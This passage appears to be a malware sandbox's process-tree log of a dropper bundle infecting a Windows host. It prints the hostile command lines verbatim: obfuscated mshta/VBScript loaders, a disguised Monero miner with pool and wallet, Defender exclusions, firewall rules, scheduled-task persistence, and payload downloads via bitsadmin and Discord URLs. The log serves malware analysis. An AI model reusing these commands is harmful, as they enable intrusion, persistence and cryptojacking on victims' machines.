"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --mojo-platform-channel-handle=2156 /prefetch:8
10⤵
PID:8816

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2552 /prefetch:1
10⤵
PID:8472

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2528 /prefetch:1
10⤵
PID:8104

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3132 /prefetch:2
10⤵
PID:5880

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --mojo-platform-channel-handle=3156 /prefetch:8
10⤵
PID:5908

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --mojo-platform-channel-handle=3184 /prefetch:8
10⤵
PID:9876

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --mojo-platform-channel-handle=3336 /prefetch:8
10⤵
PID:10136

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --mojo-platform-channel-handle=2004 /prefetch:8
10⤵
PID:8864

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1536,9498855479496855205,4391032854857442947,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8264_1774945883" --mojo-platform-channel-handle=2796 /prefetch:8
10⤵
PID:304

C:\Users\Admin\AppData\Local\Temp\8.exe
"C:\Users\Admin\AppData\Local\Temp\8.exe"
7⤵
- Executes dropped EXE
PID:4552

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
8⤵
PID:6288

C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
7⤵
- Executes dropped EXE
PID:4656

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
8⤵
PID:5224

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
9⤵
PID:5688

C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
10⤵
PID:1696

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
11⤵
PID:6816

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
12⤵
PID:1828

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
11⤵
PID:7120

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
12⤵
PID:4036

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
13⤵
PID:4100

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
13⤵
PID:2956

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y ..\lXQ2g.WC
13⤵
PID:4820

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "search_hyperfs_206.exe"
10⤵
- Kills process with taskkill
PID:5784

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
7⤵
- Executes dropped EXE
PID:4816

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
8⤵
PID:6164

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
9⤵
- Creates scheduled task(s)
PID:6608

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
8⤵
PID:6800

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:6248

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
10⤵
- Executes dropped EXE
PID:5528

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:2008

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
9⤵
PID:4104

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
9⤵
PID:7980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri051e1e7444.exe
4⤵
PID:2252

C:\Users\Admin\AppData\Local\Temp\7zS8E6C1EC5\Fri051e1e7444.exe
Fri051e1e7444.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:3428

C:\Users\Admin\Pictures\Adobe Films\ufEgFfAvcfCKQx3yliweKavF.exe
"C:\Users\Admin\Pictures\Adobe Films\ufEgFfAvcfCKQx3yliweKavF.exe"
6⤵
- Executes dropped EXE
PID:4124

C:\Users\Admin\Pictures\Adobe Films\roIpL4zT6PKge5ohAapJJOKj.exe
"C:\Users\Admin\Pictures\Adobe Films\roIpL4zT6PKge5ohAapJJOKj.exe"
6⤵
- Executes dropped EXE
PID:3936

C:\Users\Admin\Documents\uRqvS6eWS24ECzcb4LPaVZGC.exe
"C:\Users\Admin\Documents\uRqvS6eWS24ECzcb4LPaVZGC.exe"
7⤵
PID:6708

C:\Users\Admin\Pictures\Adobe Films\h1g6TwFFJucTnkGX3wpWS6Tx.exe
"C:\Users\Admin\Pictures\Adobe Films\h1g6TwFFJucTnkGX3wpWS6Tx.exe"
8⤵
PID:4704

C:\Users\Admin\Pictures\Adobe Films\j1Hyr5O5F6eWIL8CdmPPznTW.exe
"C:\Users\Admin\Pictures\Adobe Films\j1Hyr5O5F6eWIL8CdmPPznTW.exe"
8⤵
PID:1980

C:\Users\Admin\Pictures\Adobe Films\ntH83uVDq8ZZPDg8fRW0jQSv.exe
"C:\Users\Admin\Pictures\Adobe Films\ntH83uVDq8ZZPDg8fRW0jQSv.exe"
8⤵
PID:2168

C:\Users\Admin\Pictures\Adobe Films\71KpsOWL2ncKMfQBhDzpgYnk.exe
"C:\Users\Admin\Pictures\Adobe Films\71KpsOWL2ncKMfQBhDzpgYnk.exe" /mixtwo
8⤵
PID:5288

C:\Users\Admin\Pictures\Adobe Films\XPbBximaqwGbzgiZVCcyxe__.exe
"C:\Users\Admin\Pictures\Adobe Films\XPbBximaqwGbzgiZVCcyxe__.exe"
8⤵
PID:5160

C:\Users\Admin\Pictures\Adobe Films\9G9r8ffavbqF4IKerA22159v.exe
"C:\Users\Admin\Pictures\Adobe Films\9G9r8ffavbqF4IKerA22159v.exe"
8⤵
PID:7212

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\9G9r8ffavbqF4IKerA22159v.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\9G9r8ffavbqF4IKerA22159v.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
9⤵
PID:7720

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\9G9r8ffavbqF4IKerA22159v.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\9G9r8ffavbqF4IKerA22159v.exe" ) do taskkill -f -iM "%~NxM"
10⤵
PID:7988

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "9G9r8ffavbqF4IKerA22159v.exe"
11⤵
- Kills process with taskkill
PID:4780

C:\Users\Admin\Pictures\Adobe Films\iBo7eEH5f07lF_TPCyXWeYUf.exe
"C:\Users\Admin\Pictures\Adobe Films\iBo7eEH5f07lF_TPCyXWeYUf.exe"
8⤵
PID:7360

C:\Users\Admin\AppData\Local\Temp\is-HQS6E.tmp\iBo7eEH5f07lF_TPCyXWeYUf.tmp
"C:\Users\Admin\AppData\Local\Temp\is-HQS6E.tmp\iBo7eEH5f07lF_TPCyXWeYUf.tmp" /SL5="$702EE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\iBo7eEH5f07lF_TPCyXWeYUf.exe"
9⤵
PID:7696

C:\Users\Admin\AppData\Local\Temp\is-J2N4V.tmp\DYbALA.exe
"C:\Users\Admin\AppData\Local\Temp\is-J2N4V.tmp\DYbALA.exe" /S /UID=2709
10⤵
PID:5240

C:\Users\Admin\AppData\Local\Temp\db-0a4e3-a5a-d8295-79ec86d49cf02\Kewupawiku.exe
"C:\Users\Admin\AppData\Local\Temp\db-0a4e3-a5a-d8295-79ec86d49cf02\Kewupawiku.exe"
11⤵
PID:7716

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sj0f5ajf.yob\GcleanerEU.exe /eufive & exit
12⤵
PID:3280

C:\Users\Admin\AppData\Local\Temp\sj0f5ajf.yob\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\sj0f5ajf.yob\GcleanerEU.exe /eufive
13⤵
PID:8204

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1g2x3avf.nap\installer.exe /qn CAMPAIGN="654" & exit
12⤵
PID:5708

C:\Users\Admin\AppData\Local\Temp\1g2x3avf.nap\installer.exe
C:\Users\Admin\AppData\Local\Temp\1g2x3avf.nap\installer.exe /qn CAMPAIGN="654"
13⤵
PID:8232

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\1g2x3avf.nap\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\1g2x3avf.nap\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634658318 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
14⤵
PID:6936

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sdrvs2x0.hsj\any.exe & exit
12⤵
PID:1580

C:\Users\Admin\AppData\Local\Temp\sdrvs2x0.hsj\any.exe
C:\Users\Admin\AppData\Local\Temp\sdrvs2x0.hsj\any.exe
13⤵
PID:8352

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pln0qmvc.o22\gcleaner.exe /mixfive & exit
12⤵
PID:3068

C:\Users\Admin\AppData\Local\Temp\pln0qmvc.o22\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\pln0qmvc.o22\gcleaner.exe /mixfive
13⤵
PID:8484

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\plb1quvl.tkm\autosubplayer.exe /S & exit
12⤵
PID:1420

C:\Users\Admin\AppData\Local\Temp\plb1quvl.tkm\autosubplayer.exe
C:\Users\Admin\AppData\Local\Temp\plb1quvl.tkm\autosubplayer.exe /S
13⤵
PID:8592

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA25B.tmp\tempfile.ps1"
14⤵
PID:8804

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA25B.tmp\tempfile.ps1"
14⤵
PID:7424

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA25B.tmp\tempfile.ps1"
14⤵
PID:5796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA25B.tmp\tempfile.ps1"
14⤵
PID:7692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA25B.tmp\tempfile.ps1"
14⤵
PID:10132

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA25B.tmp\tempfile.ps1"
14⤵
PID:9656

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxA25B.tmp\tempfile.ps1"
14⤵
PID:4084

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z
14⤵
- Download via BitsAdmin
PID:8620

C:\Users\Admin\Pictures\Adobe Films\gjyPi1HTdZNp58Wn3LIqKfZm.exe
"C:\Users\Admin\Pictures\Adobe Films\gjyPi1HTdZNp58Wn3LIqKfZm.exe"
8⤵
PID:7764

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
9⤵
PID:8120

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
10⤵
PID:3720

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1a4,0x1e8,0x7ffa3c37dec0,0x7ffa3c37ded0,0x7ffa3c37dee0
11⤵
PID:9280

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff6d1fb9e70,0x7ff6d1fb9e80,0x7ff6d1fb9e90
12⤵
PID:9344

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,8834562591075249744,4048071361872409733,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3720_1899753133" --mojo-platform-channel-handle=1672 /prefetch:8
11⤵
PID:9596

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:4184

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
7⤵
- Creates scheduled task(s)
PID:6220

C:\Users\Admin\Pictures\Adobe Films\5JV3E4XZxl30pGw9BCvnorNJ.exe
"C:\Users\Admin\Pictures\Adobe Films\5JV3E4XZxl30pGw9BCvnorNJ.exe"
6⤵
- Executes dropped EXE
PID:812

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 656
7⤵
- Program crash
PID:5712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 660
7⤵
- Program crash
PID:5456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 680
7⤵
- Program crash
PID:3848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 672
7⤵
- Program crash
PID:5836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 1136
7⤵
- Program crash
PID:6540

C:\Users\Admin\Pictures\Adobe Films\264fID3P0gCNPBIx4QPDA5PZ.exe
"C:\Users\Admin\Pictures\Adobe Films\264fID3P0gCNPBIx4QPDA5PZ.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:2300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
7⤵
PID:5072

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
7⤵
PID:6352

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
7⤵
PID:6452

C:\Users\Admin\Pictures\Adobe Films\UGaalVoWejqNDO99CTnza_6F.exe
"C:\Users\Admin\Pictures\Adobe Films\UGaalVoWejqNDO99CTnza_6F.exe"
6⤵
- Executes dropped EXE
- Identifies Wine through registry keys
PID:4568

C:\Windows\SysWOW64\at\conhost.exe
"C:\Windows\System32\at\conhost.exe"
7⤵
PID:7892

C:\Users\Admin\Pictures\Adobe Films\v2Mo6PNiSRBvFkZrUFohT7A9.exe
"C:\Users\Admin\Pictures\Adobe Films\v2Mo6PNiSRBvFkZrUFohT7A9.exe"
6⤵
- Executes dropped EXE
PID:5112

C:\Users\Admin\Pictures\Adobe Films\Ct61dkfrZTp23jhvKIODYctr.exe
"C:\Users\Admin\Pictures\Adobe Films\Ct61dkfrZTp23jhvKIODYctr.exe"
6⤵
PID:5188

C:\Users\Admin\AppData\Local\Temp\build.exe
"C:\Users\Admin\AppData\Local\Temp\build.exe"
7⤵
PID:1500

C:\Users\Admin\Pictures\Adobe Films\DQ9B8PqJgFQ2HgGYfOX1nxn1.exe
"C:\Users\Admin\Pictures\Adobe Films\DQ9B8PqJgFQ2HgGYfOX1nxn1.exe"
6⤵
- Executes dropped EXE
PID:5152

C:\Users\Admin\Pictures\Adobe Films\TqmrMkQrN_iB8xvcEOOlhfSc.exe
"C:\Users\Admin\Pictures\Adobe Films\TqmrMkQrN_iB8xvcEOOlhfSc.exe"
6⤵
PID:4532

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\2479.bat "C:\Users\Admin\Pictures\Adobe Films\TqmrMkQrN_iB8xvcEOOlhfSc.exe""
7⤵
PID:5704

C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
8⤵
PID:6260

C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/901113291861028926/901113305991643206/18.exe" "18.exe" "" "" "" "" "" ""
8⤵
PID:6900

C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/901113291861028926/901113363139035156/Transmissibility.exe" "Transmissibility.exe" "" "" "" "" "" ""
8⤵
PID:5224

C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe
C:\Users\Admin\AppData\Local\Temp\2477.tmp\2478.tmp\extd.exe "" "" "" "" "" "" "" "" ""
8⤵
PID:8112

C:\Users\Admin\AppData\Local\Temp\30611\Transmissibility.exe
Transmissibility.exe
8⤵
PID:8104

C:\Users\Admin\Pictures\Adobe Films\X6aVnzbKRVmVHKa7J4Po1msU.exe
"C:\Users\Admin\Pictures\Adobe Films\X6aVnzbKRVmVHKa7J4Po1msU.exe"
6⤵
- Executes dropped EXE
PID:4116

C:\Users\Admin\Pictures\Adobe Films\X6aVnzbKRVmVHKa7J4Po1msU.exe
"C:\Users\Admin\Pictures\Adobe Films\X6aVnzbKRVmVHKa7J4Po1msU.exe"
7⤵
PID:6692

C:\Users\Admin\Pictures\Adobe Films\X6aVnzbKRVmVHKa7J4Po1msU.exe
"C:\Users\Admin\Pictures\Adobe Films\X6aVnzbKRVmVHKa7J4Po1msU.exe"
7⤵
PID:6352

C:\Users\Admin\Pictures\Adobe Films\3i91sC_8A1szLpV0KacNJFTq.exe
"C:\Users\Admin\Pictures\Adobe Films\3i91sC_8A1szLpV0KacNJFTq.exe"
6⤵
- Executes dropped EXE
PID:2376

